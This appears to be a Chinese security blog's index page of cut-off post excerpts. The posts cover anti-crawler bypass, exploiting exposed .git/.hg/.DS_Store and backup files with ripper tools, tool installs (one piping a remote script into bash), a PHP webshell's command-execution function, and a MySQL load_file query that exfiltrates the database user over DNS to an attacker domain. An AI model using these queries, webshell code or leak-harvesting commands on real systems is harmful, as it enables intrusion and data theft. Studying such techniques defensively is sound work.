2019-04-14 15:58:19    93    0    0

一、状态码521网页的爬取

1、原理

我们发现浏览器对于同一网页连续访问了两次,第一次的访问状态码为521,第二次为200(正常访问)。看来网页加了反爬虫机制,需要两次访问才可返回正常网页。第一次输出是一些js代码。
通过对比两次请求头,我们发现第二次访问带了新的cookie值。再考虑上面程序对爬取结果的输出为js代码,可以考虑其操作过程为:

  • 第一次访问,返回可动态生成cookie值的js代码
  • 浏览器运行js代码生成cookie值,并带cookie重新进行访问
  • 服务器被正常访问,返回页面信息,浏览器渲染加载

2、特征

通常带有__jsl_clearance

3、解决方法

  • execjs库
    通过正则表达式对代码进行解析,获得JS函数名,JS函数参数和JS函数主体,并将执行函数eval()语句修改为return语句返回cookie值
    调用execjs库的executeJS()功能执行js代码获得cookie值
    将cookie值转化为字典格式,用request.get(url, cookies = cookie)方法获取得到正确的网页信息
  1. def parse_js(response):
  2. # 获取js数据
  3. jsstr = re.search('(function.*)</script>', response.text).group(1)
  4. # 修改js数据,将数据作为返回
  5. jsstr = jsstr.replace('eval("qo=eval;qo(po);")', "return po")
  6. # 获取方法与参数
  7. func, para = re.search('setTimeout\(\"(.*?)\((.*?)\)",', response.text).group(1, 2)
  8. # 解析js
  9. parsejs = execjs.compile(jsstr).call(func, para)
  10. # 获取cookie
  11. cookie = re.searc
2017-08-29 22:58:41    407    0    0

.hg源码泄漏

漏洞成因:
hg init的时候会生成.hg

e.g.http://www.am0s.com/.hg/

漏洞利用:

工具:dvcs-ripper

rip-hg.pl -v -u http://www.am0s.com/.hg/

.git源码泄漏

漏洞成因: 在运行git init初始化代码库的时候,会在当前目录下面产生一个.git的隐藏文件,用来记录代码的变更记录等等。在发布代码的时候,把.git这个目录没有删除,直接发布了。使用这个文件,可以用来恢复源代码。

e.g. http://www.am0s.com/.git/config

漏洞利用:

工具: GitHack

GitHack.py http://www.am0s.com/.git/

dvcs-ripper

rip-git.pl -v -u http://www.am0s.com/.git/

.DS_Store文件泄漏

漏洞成因: 在发布代码时未删除文件夹中隐藏的.DS_store,被发现后,获取了敏感的文件名等信息。 漏洞利用:

http://www.am0s.com/.ds_store

注意路径检查

工具: dsstoreexp

python ds_store_exp.py http://www.am0s.com/.DS_Store

网站备份压缩文件

在网站的使用过程中,往往需要对网站中的文件进行修改、升级。此时就需要对网站整站或者其中某一页面进行备份。当备份文件或者修改过程中的缓存文件因为各种原因而被留在网站web目录下,而该目录又没有设置访问权限时,便有可能导致备份文件或者编辑器的缓存文件被下载,导致敏感信息泄露,给服务器的安全埋下隐患。 漏洞成因及危害: 该漏洞的成因主要有以下两种:

  1. 服务器管理员错误地将网站或者网页的备份文件放置到服务器web目录下。
  2. 编辑器在使用过程中自动保存的备份文件或者临时文件因为各种原因没有被删除而保存在web目录下。

漏洞检测: 该漏洞往往会导致服务器整站源代码或者部分页面的源代码被下载,利用。源代码中所包含的各类敏感信息,如服务器数据库连接信息,服务器配置信息等会因此而泄露,造成巨大的损失。被泄露的源代码还可能会被用于代码审计,进一步利用而对整个系统的安全埋下隐患。

.rar
.zip
.7z
.tar.gz
.bak
.swp
.txt
.html

SVN导致文件泄露

Subversion,简称SV

selenium python    2017-07-18 20:01:11    283    0    0

selenium 是一个web的自动化测试工具,不少学习功能自动化的同学开始首选selenium ,相因为它相比QTP有诸多有点:

*  免费,也不用再为破解QTP而大伤脑筋

*  小巧,对于不同的语言它只是一个包而已,而QTP需要下载安装1个多G 的程序。

*  这也是最重要的一点,不管你以前更熟悉C、 java、ruby、python、或都是C# ,你都可以通过selenium完成自动化测试,而QTP只支持VBS 

*  支持多平台:windows、linux、MAC ,支持多浏览器:ie、ff、safari、opera、chrome

*  支持分布式测试用例的执行,可以把测试用例分布到不同的测试机器的执行,相当于分发机的功能。

 

关于selenium的基础知识与java平台的结合,我之前写过一个《菜鸟学习自动化测试》系列,最近学python,所以想尝试一下selenium的在python平台如何搭建;还好这方法的文章很容易,在此将搭建步骤整理分享。

 

搭建平台windows 

准备工具如下:

-------------------------------------------------------------

下载python

https://www.python.org/

-------------------------------------------------------------

如果你是新学python,哪果你没有要用的包是必须依赖于pyhton2.x 的,那么请毫不犹豫的选择python3.5吧!

window安装步骤:

1、下载python安装,配置一下环境变量

2、安装selenium

2.1、通过pip 安装

C:\Users\fnngj>python -m pip install selenium

3.2、通过下载包安装

或者直接下载selenium包:

https://pypi.python.org/pypi/selenium

解压,cmd进入目录:

C:\selenium\selenium2.53.5> python3 setup.py install

 

ubuntu 下安装方式:

1、安装:setuptools

root@fnngj-H24X:~# apt-get install python-setuptools

2、安装pip

root@fnngj-H24X:/home/f

python    2017-07-16 17:48:05    794    0    0

原版文章在这里:

http://blog.csdn.net/huilan_same/article/details/53669834

 

补充一下IE的:

修改remote.webelement.py:

import sys
frozen = getattr(sys, 'frozen', '')
if not frozen:
 getAttribute_js = pkgutil.get_data(__package__, 'getAttribute.js').decode('utf8')
 isDisplayed_js = pkgutil.get_data(__package__, 'isDisplayed.js').decode('utf8')
else:
 approot = os.path.dirname(sys.executable)
 getAttribute_js = open(os.path.join(approot, 'getAttribute.js'), 'rb').read().decode('utf8')
 isDisplayed_js = open(os.path.join(approot, 'isDisplayed.js'), 'rb').read().decode('utf8')​

 

setup.py里,添加:

import glob
data_files = [(r'.', glob.glob(r'path\Lib\site-packages\selenium\webdriver\remote\getAttribute.js')),
 (r'.', glob.glob(r'path\Lib\site-packages\selenium\webdriver\remote\isDisplayed.js'))]
 
setup(
 console=[{'script': "xxx.py"}],
 data_files=data_files,
 options=options,
 zipfile=None
)​

再次编译即可。

 

或者使用selenium 2.53版本。

尝试使用继承,至少要修改两个类(remote.webelement和ie.webdriver),比较复杂,不建议。

twitter birdwatcher    2016-11-29 15:08:20    279    0    0

birdwatcher是一款针对Twitter的威胁情报分析框架,Birdwatcher刚开始的时候只是一堆计算微博用户和小组的权重的脚本集合,框架作者将他重写成更加完善的框架,可以模块化的交互式框架。就像Metasploit和Recon-ng那样的。


一、kali

kali安装的可以参照

https://jonathansblog.co.uk/how-to-install-birdwatcher-in-kali-linux


二、Ubuntu14.04

由于16.04的pptp存在问题,使用14.04 LTS 版本。当然也可以按照openvpn用其他的方式

 

1、利用rvm安装ruby

sudo apt-get curl
curl -L https://get.rvm.io | bash -s stable
如果有提示执行
gpg --keyserver hkp://keys.gnupg.net --recv-keys 409B6B1796C275462A1703113804BB82D39DC0E3

source ~/.rvm/scripts/rvm
rvm requirements
rvm install 2.1 如果是ruby则默认为最新的
ruby -v 查看情况

rubygems更新
gem update –system

 

2、安装postgresql

sudo apt-get install postgresql-9.3
安装完成后
数据文件:/var/lib/postgresql/9.3/main/
数据库配置文件:/etc/postgresql/9.3/main/
管理文件和lib库文件:/usr/lib/postgresql/9.3/,里面包括bin和lib目录

安装完成后,postgreSQL会创建一个针对数据库操作的postgres操作系统用户

(1)创建超级用户

sudo -u postgres createuser -s birdwatcher --pwprompt
-s, --superuser 角色将是超级用户
-P, --pwprompt 给新角色指定口令

 

(2)创建数据库

sudo -u postgres createdb -O birdwatcher birdwatcher
-O,--owner=OWNER 新数据库的所属用户

(3)安装依赖包

sudo apt-get install lib

2016-10-18 21:27:54    697    0    0

1、ColorOS请务必打开设置->开发者选项->USB调试>确定;
连接电脑会弹出窗口,请允许USB调试.

2、CM系统打开方法:设置->关于手机->版本号,连击N次,打开开发者选项;
设置->开发者选项->USB调试>确定.
连接电脑会弹出窗口,请允许USB调试

3、利用工具包解锁设备

http://www.oneplusbbs.com/forum.php?mod=viewthread&tid=566406&fromuid=404971

 

4、刷TWRP 2.8.6.0 下了包放在电脑里,解压。用一加万能工具包刷Recovery就行了,选择解压后的文件夹里的recovery.img就可以刷了

http://www.oneplusbbs.com/forum.php?mod=viewthread&tid=643319&fromuid=686793

http://zhidao.baidu.com/link?url=pz49mPmezAbZAIdqPqEbcR7nvL8TQFkN1ZWI1wc_Qur1stauWDosremOLn64HJtOA4QHe7bYOxNROA_ytRq5TqnV3YRiMwDxbw-_XID_6fW

 

5、将底包、对应的CM13包和kali nethunter包拷入

CM12.1新底包V2版(与Oxygen版本一致,适用于5月20日后的5.1ROM及6.0ROM)http://www.oneplusbbs.com/thread-594213-1-1.html

cm-13.0-20160921-NIGHTLY-bacon.zip  http://download.cyanogenmod.org/get/jenkins/179956/cm-13.0-20160921-NIGHTLY-bacon.zip

nethunter-cm13-6.0.1-20160919-full.zip    https://www.androidfilehost.com/?fid=24727369092695979

 

6、进入TWRP,然后先刷底包,四清,刷入CM13系统,进入后做一个备份(包括efs),然后刷入nethunter。如果卡在kali的开机界面,就换包重新刷入


附:

手动救砖

线刷包和卡刷包的区别

http://www.oneplusbbs.com/thread-2906021-1-1

2016-08-09 20:20:05    572    0    0

转自:http://www.heysec.org/archives/950        作者是

引言

     伴随着android app的越来越多的应用,关于android app的安全漏洞也在不断地出现,在面对一个安卓应用时,如何对它进行安全测试,我们在这里做个抛砖引玉的介绍。

1.我们需要准备什么?

  • 首先,我们需要有一台被root过的安卓手机(没有的话,各种模拟器和avd亦可,),为什么要被root?因为在测试过程中我们会需要提取app里的资源,查看app的数据,这些操作必须具备root权限。至于怎么root,可以根据不同的手机品牌及型号寻找合适的root方法。对于模拟器来讲,我们原本就拥有它的root权限。
  • 数据线。用来连接手机与电脑,进行调试和查看app资源。
  • 安装安全证书。这在我们通过Burpsuite或者Fiddler等工具开抓app的https网络数据包时是必不可少的。证书安装步骤可以参考http://www.jb51.net/article/64396.htm   和http://blog.csdn.net/zshq280017423/article/details/8928616

2.我们需要哪些基本的工具?

     兵欲善其事,必先利其器,因此好用的测试工具是非常重要的,推荐下面几款很好用的工具。

  • Android Killer。它是一款可视化的安卓应用逆向工具,集Apk反编译、Apk打包、Apk签名,编码互转,ADB通信(应用安装-卸载-运行-设备文件管理)等特色功能于一 身,支持logcat日志输出,语法高亮,基于关键字(支持单行代码或多行代码段)项目内搜索,可自定义外部工具;吸收融汇多种工具功能与特点,打造一站 式逆向工具操作体验,大大简化了用户在安卓应用/游戏修改过程中的各类繁琐工作。功能与之类似的工具有apk改之理。
  • JEB。是一个功能强大的为安全专业人士设计的Android应用程序的反编译。反向工程或审计APK文件,并减少许多工程师的分析时间。其具备将Dalvik字节
    码反编译为Java源代码的能力,无需DEX-JAR转换工具。JEB的强大的用户界面,使您可以检查交叉引用,重命名的方法,字段,类,代码和数据之间
    导航,做笔记,添加注释。小提示:如果你下载的JEB闪退的话,使用文本编辑器打开jeb_wincon.bat,检查下面这个地址,是
2016-05-31 09:08:09    5501    0    0

0x00 前言

上传webshell后,执行命令时或许没法执行了,这时我们该分析下原理并想出绕过方式,防守方也必须根据绕过方式想想更强的防御.

0x01 php webshell执行命令原理

php webshell(以下简称webshell)下是怎么执行系统命令的?我们找一个webshell分析下

搜索关键字定位到以下代码

function execute($cfe) {
       $res = '';
       if ($cfe) {
              if(function_exists('system')) {
                     @ob_start();
                     @system($cfe);
                     $res = @ob_get_contents();
                     @ob_end_clean();
              } elseif(function_exists('passthru')) {
                     @ob_start();
                     @passthru($cfe);
                     $res = @ob_get_contents();
                     @ob_end_clean();
              } elseif(function_exists('shell_exec')) {
                     $res = @shell_exec($cfe);
              } elseif(function_exists('exec')) {
                     @exec($cfe,$res);
                     $res = join("\n",$res);
              } elseif(@is_resource($f = @popen($cfe,"r"))) {
                     $res = '';
                     while(!@feof(
2016-03-17 16:50:48    313    0    0

XSS1.png / XSS2.png 均转载自 长短短 @ PKAV

 

 


 

2016-02-15 21:07:47    301    0    0

转自http://www.ricter.me/posts/%E7%AC%94%E8%AE%B0%3A%20Data%20Retrieval%20over%20DNS%20in%20SQL%20Injection%20Attacks

0x01

在 WooYun Zone 看到这么一个案例:http://www.wooyun.org/bugs/wooyun-2013-044473,一个非常有意思的获取注入结果的方式,然后找到这么一篇 paper 详细的讲述了利用方式,姑且我做一个笔记。

首先要了解的是 DNS 的查询流程:

首先我们向 DNS 服务器请求查询 test.loli.club,DNS 服务器再向上一层的 DNS 服务器请求,返回 NS 服务器的地址,然后 DNS 服务器向 NS 服务器请求查询 test.loli.club 的 IP 地址,接着 NS 服务器返回目标的 IP,最终返回给用户。

作为攻击者,我们可以控制的几个变量是:

1、查询的域名
2、域名的 NS 记录
3、NS 记录指向的 NS 服务器
一般来说,NS 记录在域名注册商那里就可以修改。NS 服务器就是一个 DNS Server,所以很方便的可以自己搭建。
不过好像要进行下去的前提是你要买个域名

0x02

在几年之前,135/139 端口抓鸡盛行的时候,有一种叫做 IPC 抓鸡的方式。我们可以用:

net use \\10.211.55.3\ipc$​

来建立 IPC 空链接。此处的 IP 也可以是域名,就像:

net use \\ricter.me\cee​

我们利用 Wireshark 抓包,来查看是否进行 DNS 查询。首先运行命令:

OK,到这里也没有什么问题。
接下来,对于 MySQL 熟悉的人可能会知道 MySQL 有一个 load_file 的 function,可以用来读取文件。实际上,这个函数在 Windows 下也可以用来访问类似于 \\10.211.55.3\ipc$ 这样的地址。
我们进入 MySQL command line,然后运行:

select load_file(concat('\\\\', user(), '.loli.club\\owo'));​

然后我们在 Wireshark 里发现:

好像很有道理的样子呢 
此外,对于 MSSQL、Oracle 还有 PostgreSQL 的利用方式可以